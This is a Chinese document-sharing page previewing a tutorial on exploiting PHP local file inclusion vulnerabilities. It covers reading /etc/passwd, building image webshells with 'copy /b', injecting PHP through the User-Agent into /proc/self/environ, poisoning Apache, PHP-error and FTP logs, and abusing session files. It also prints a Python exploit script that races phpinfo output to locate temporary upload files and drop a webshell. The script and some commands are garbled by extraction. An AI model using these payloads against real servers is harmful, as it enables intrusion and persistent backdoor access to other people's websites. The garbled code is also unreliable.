




已阅读5页,还剩8页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1概述文 件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文 件需要调用的时候就直接在文件头中写上一句就可以调用内部定义的函数。本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。2利用LFI执行PHP代码2.1本地包含漏洞实例展示:演示脚本文件test.php代码如下:在正常使用过程中,可能是这样子:/test.php?f=fuction,这样子 就包含了function这个文件,但是由于file参数没有过滤,我们可以自己提交参数内容,这个时候就导致了包含漏洞的出现。比如提交 :/index.php?f=shell.txt%00,shell.txt的内容为我们的webshell,由于前面的是index.php,所以会把shell.txt当成是木马执行。在虚拟机搭建实例环境,直接访问,不赋值file参数:图1.不提交任何参数时的test.php赋值file参数为/etc/passwd图2.包含/etc/passwd文件成功包含。2.2自己上传文件并实现包含这里主要是结合服务器一些文件上传点,比如头像上传、相册照片上传等,而后结合php的%00截断特性成功利用包含漏洞(php5.4之后已修复截断特性,本例中不再结合%00,其他请自己测试)。假设我们可以自定义上传头像,头像文件在网站根目录的photo下,具体目录可以传上去之后查看图片Url信息。首先,我们只做包含恶意代码的图片文件:在windows下利用copy命令,shell.php为一句话木马(这里为了方便演示,我们用phpinfo();代替),photo.jpg问正常头像文件。在命令行下执行:copy photo.jpg /b + shell.php /b eval.jpg图3.Windows下copy命令制作图片木马此时eval.jpg和phpoto.jpg都可以正常打开这种方法对于验证严格的上传点有用,其实很多时候我们可以简单的改一下后缀名,在php代码前加一个GIF89a就可绕过大多数检测。将eval.jpg上传,并包含,效果如下图:图4.包含图片木马效果此时成功利用本地包含漏洞执行php代码。2.3包含环境变量文件Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。内容如下图:图5.BT5下/proc/self/environ文件内容但是用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用。首先,验证访问权限,看是否有权限读取该文件内容图6.包含/proc/self/environ文件在BT的server下是默认拒绝访问的。权限如下:图7.Environ文件的权限设置为了方便演示,用一个有权限访问environ文件的环境。正常包含如图:图8.有权限读取envrion文件时效果我们可以看到,当前的USER_AGENT变量被写进了这个文件,而USER_AGENT是可以伪造的,这里我利用firefox的UAControl进行伪造,首先编辑UAControl对于这个文章的user agent信息:图9.修改User-agent信息而后随便访问该网站上一个网页,再次包含environ文件:图10.成功执行php代码可以发现php代码已经执行。2.4包含web server日志文件Apache的日志文件在LFI漏洞的利用中是非常常见的。因为不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。首先:查看是否有权限进行包含图11.默认access文件拒绝访问同样默认拒绝。图12.日志文件默认权限下面找一个有权限的实战环境进行测试可以包含httpd.conf查看日志文件位置以及文件名格式配置,这里就直接找到一个log进行利用(php_error.log),该文件会记录php在执行中出现的错误,图13.php_error文件内容所以我们直接访问test.php?file=./.php,将会被记录下来。这样便成功将php代码写进log文件。直接访问:图14.get请求中插入php代码返回空白,这是由于webserver未开启报错。包含后如图:图15.成功包含error日志文件成功执行php代码在实际利用中,需要注意一下几个问题:1)Access.log和error.log过大,这时候有可能会导致超时。所以如果能包含其他文件那就包含其他文件。2)写 入的代码被转义。比如我们提交test.php?file=./.php时,在?php后面紧跟着一个空格,这个空格如果被转义成%20就会导致php代码执行失败,有时候写 进access.log文件里的还可能是将两个尖括号也转义了的。在实际测试中,用火狐、IE8都会转义,但是IE6不会转义。对于所有 以上情况,可以使用ie6进行利用,也可以使用NC进行直接提交GET请求。同时如果web server的short_tag开启的话,就不用担心空格被转义。2.5包含其他日志文件文件包含漏洞的实质是包含我们可以控制文件内容的文件,所以其他日志文件如果我们可控的话也是可以进行包含利用的。这里以FTP的日志文件为例进行演示。实际利用过程中要先得到目标系统的linux发行版本号、FTP server的版本号,而后找默认日志目录。第一步同样是测试权限,看是否有权限读取文件:图16.FTP日志文件内容如图,是可以包含的。下面本地登录,但是用户名填:图17.在登陆窗口插入php代码成功包含后效果如下图:图18.成功包含FTP日志文件可以发现已经成功执行了php代码2.6结合phpinfo包含临时文件php 有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜 解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生 成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。下面是一个python版的利用代码:#!/usr/bin/env python# encoding=utf-8# Author : idwar# 可能需要你改的几个地方:1、host2、port3、request中的phpinfo页面名字及路径4、hello_lfi()函数中的url,即存在lfi的页面和参数5、如果不成功或报错,尝试增加padding长度到7000、8000试试6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改Good Luck :)import reimport urllib2import hashlibfrom socket import *from time import sleephost = 32#host = gethostbyname(domain)port = 80shell_name = hashlib.md5(host).hexdigest() + .phppattern = pile(rtmpnames=>s(.*)W*error)payload = idwar?php fputs(fopen(./ + shell_name + ,w),idwar was here)?rreq = -7dbff1ded0714rContent-Disposition: form-data; name=dummyname; filename=test.txtrContent-Type: text/plainrr%s-7dbff1ded0714-r % payloadpadding=A * 8000request=POST /test/1.php?a=+padding+ HTTP/1.0rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=+padding+rHTTP_ACCEPT: + padding + rHTTP_USER_AGENT: + padding + rHTTP_ACCEPT_LANGUAGE: + padding + rHTTP_PRAGMA: + padding + rContent-Type: multipart/form-data; boundary=-7dbff1ded0714rContent-Length: %srHost: %srr%s % (len(req), host, req)def hello_lfi(): while 1: s = socket(AF_INET, SOCK_STREAM) s.connect(host, port) s.send(request) data = while r not in data: data = s.recv(9999) search_ = re.search(pattern, data) if search_: tmp_file_name = search_.group(1) url = r32/test/2.php?s=%s%00 % tmp_file_name print url search_request = urllib2.Request(url) search_response = urllib2.urlopen(search_request) html_data = search_response.read() if idwar in html_data: s.close() return nDone. Your webshell is : nn%sn % (http:/ + host + / + shell_name) #import sys;sys.exit() s.close()if _name_ = _main_: print hello_lfi()print n Good Luck :)利用效果如下图:图19.利用工具中的php临时文件图20.服务器上确实生成了该文件可以看到,成功获取到临时文件的文件名以及将恶意代码注入到服务器的tmp的临时目录下。2.7包含session文件Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。首先,查看找到session文件并包含一次:文件名可以通过firefox的fire cookie插件查看当前session值。实际应用过程中需要注意以下几点:1)网站可能没有生成临时session,以cookie方式保存用户信息,或者根本就完全没有。2)Session 文件内容的控制,这个时候我们就需要先通过包含查看当前session的内容,看session值中有没有我们可控的某个变量,
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年军事医学战地医疗救护流程模拟测试卷答案及解析
- 2025年全科护理全科护士护理操作及技能考核模拟测试卷答案及解析
- 2025年妇产科常见疾病产科治疗策略答案及解析
- 2025年全科医生综合素质评价答案及解析
- 2025年心理咨询与心理治疗技能评估考核答案及解析
- 室外消防栓施工方案
- 2025年皮肤科学科常见疾病诊疗知识检测答案及解析
- 2.6 我们来做“热气球”(教学设计+任务单+课后练习)三年级上册科学 教科版 (3份打包)
- 2025年放射学影像诊断准确性考核答案及解析
- 2025年口腔颌面外科手术规范操作答案及解析
- 三字经全文带拼音打印版带翻译
- 山东省青岛市各县区乡镇行政村村庄村名居民村民委员会明细及行政区划代码
- Unit1Developingideaslittlewhitelies课件-高中英语外研版必修第三册
- 四年级上册心理健康教育课件-健康的情绪表达 全国通用(共16张PPT)
- 商业银行资产管理与负债管理
- 电力系统分析孙淑琴案例吉玲power程序实验指导书
- 集成电路版图设计(适合微电子专业)
- 高标准农田建设项目施工组织设计 (5)
- 发动机装调工技师考试资料
- 轻型动力触探试验记录表
- ASME_B36.10M美标钢管外径壁厚对照表
评论
0/150
提交评论